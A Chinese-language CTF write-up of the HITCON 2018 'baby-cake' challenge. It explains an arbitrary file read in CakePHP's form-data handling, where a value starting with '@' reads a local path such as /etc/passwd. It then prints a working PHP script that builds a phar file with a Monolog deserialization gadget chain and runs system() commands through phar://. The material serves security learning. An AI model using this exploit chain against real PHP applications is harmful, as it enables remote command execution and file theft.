内容简介:orange大佬出的题目,质量很高,能学到不少东西,这里简单分析复现一下。刚开始拿到题目源码,发现使用的是cakephp框架,逻辑代码并不是很多,大体的逻辑是实现了一个http访问器,这里很多参赛者很容易想到ssrf攻击去,但是很快出题者就给出了提示。
orange大佬出的题目,质量很高,能学到不少东西,这里简单分析复现一下。
初见题目
刚开始拿到题目源码,发现使用的是cakephp框架,逻辑代码并不是很多,大体的逻辑是实现了一个http访问器,这里很多参赛者很容易想到ssrf攻击去,但是很快出题者就给出了提示。
就说明这个题目与ssrf攻击无关,然后通过简单的观察,发现了出题人在使用composer安装 php 组件的过程中,使用了一个低版本的存在反序列化rce的组件:
这是一个很明显的提示点,那么这个题目很有可能就是利用反序列化执行命令来解的,在writeup中也证实了我们的猜想。
题目逻辑代码分析
题目的逻辑集中在 src/Controller/PageController.php 中,下面分析一下几个具体的实现:
1. 缓存机制实现
代码实现了一个简单的缓存逻辑,关注点有两个,第一个是缓存的路径,简单追踪一下代码,可以看到缓存逻辑:
所以缓存路径是可以得到的 /var/www/html/tmp/CLIENTIP/md5(url)/ ,第二个就是缓存的文件名,文件分为两个,一个是body.cache ,另一个是 headers.cache.
2. 序列化与反序列化
可以看到在缓存机制中,有关headers.cache是采用了序列化的机制,会把请求得到的返回头序列化以后,存储到文件中去,然后在读取缓存的过程中反序列化执行,这里是一个很明显的利用点,估计很多攻击者都会去底层代码中寻找有关这个地方反序列化的利用技巧,我在刚开始的时候也是被困在这里了,直到看到writeup,才恍然大悟,这是一个陷阱。最后的利用思路反而在没有序列化操作的body.cache,不得不说orange大佬出题果然厉害,那我们就来看一下,具体是怎么一步一步实现的反序列化。
任意文件读取漏洞的发现
首先跟踪了一遍有关get请求处理文件头的操作,发现得到的请求头,会被当做一个数组被反序列化,这里我们无论怎么修改,都还是一个array,一个unserialize是不会反序列化两层的,所以headers.cache这条利用思路是不可控的,所以我们继续跟进一下有关post的具体处理流程:
首先跟进httpclient:
然后跟进Client类:
然后跟进到_doRequest函数:
然后继续跟进_createRequest:
还是没有发现具体的实现,于是继续跟进Request类:
在Request类中,发现了构建请求body的函数,然后跟进到具体FormData类的addMany函数中:
然后就追踪到了一个关键的代码点:
这里判断了一下传入的 $value 是否是以 @ 开头的,如果是,则进入 addFile 函数中:
这个函数中,我们发现如果传入的 $value 不是一个资源,那就会去掉最开头的一个@符号,然后采用file_get_contents读取这个路径。这里很容易联想到最近ctf出题中很火的phar:// 反序列化漏洞,和这个题目也是刚好吻合,所以基本上思路是对的。
那我们首先来尝试一下,读一下 /etc/passwd 文件,我们只要构造一个post请求,然后将传入的data数组的某个键的值改成 @/etc/passwd 就可以读取文件,本地搭建了一个环境进行测试:
在8888 端口我们收到了请求:
既然我们实现了任意文件读取,那我们就要构思如何进行反序列化rce了。
构造反序列化执行命令
通过整理思路,我们构建了一个利用payload:
下面我们来本地测试一下:
首先我们可以在phpggc项目中,找到该版本Monolog 反序列化漏洞的有关 代码 。
生成phar文件的代码,放到项目中执行即可:
<?php namespace MonologHandler { class SyslogUdpHandler { protected $socket; function __construct($x) { $this->socket = $x; } } class BufferHandler { protected $handler; protected $bufferSize = -1; protected $buffer; # ($record['level'] < $this->level) == false protected $level = null; protected $initialized = true; # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false protected $bufferLimit = -1; protected $processors; function __construct($methods, $command) { $this->processors = $methods; $this->buffer = [$command]; $this->handler = clone $this; } } } namespace{ $cmd = "ls -alt"; $obj = new MonologHandlerSyslogUdpHandler( new MonologHandlerBufferHandler( ['current', 'system'], [$cmd, 'level' => null] ) ); $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test', 'test'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($obj); $phar->stopBuffering(); }
1. 缓存phar文件到body.cache
并且计算出缓存文件所在的路径:
/var/www/html/tmp/cache/mycache/153.36.215.119/1e8685bf0442fcf3bd25e23908aeb314
2. 通过post请求 @ 符号触发file_get_contents 查看payload
3. phar:// 协议触发反序列化,执行命令
4. 获取flag
能够执行命令,获取flag就轻而易举了,本地只是测试,随手写了一个flag, 只需要修改生成phar代码中的 $cmd 即可:
到此整个流程分析完毕。
后记
不得不说,orange大佬出的题目设计很巧妙,需要比较强的代码追踪能力和足够的经验,感谢大佬出题,学到了很多。
参考链接以及题目源码:
https://github.com/PDKT-Team/ctf/tree/master/hitcon2018/baby-cake
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- codeblue2018 MortAl mage aGEnts题目分析
- 从一道线下赛题目看VM类Pwn题目-debugvm
- Leetcode 题目:括号匹配
- HCTF逆向题目详析
- 一道无线流量题目引发的思考
- 小李飞刀:SQL题目刷起来!
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
国际大学生程序设计竞赛例题解
郭嵩山 / 电子工业出版社 / 2006-5 / 32.0
《国际大学生程序设计竞赛例题解1:数论、计算几何、搜索算法专集》可以作为高等院校有关专业的研究生和本科学生参加国际大学生程序设计竞赛的辅导教材,也可作为高等院校有关专业相关课程的教材和教学参考书,也比较适合作为中学青少年信息学奥林匹克竞赛省级及省级以上优秀选手备战信息学奥林匹克竞赛的培训教材及训练题集。一起来看看 《国际大学生程序设计竞赛例题解》 这本书的介绍吧!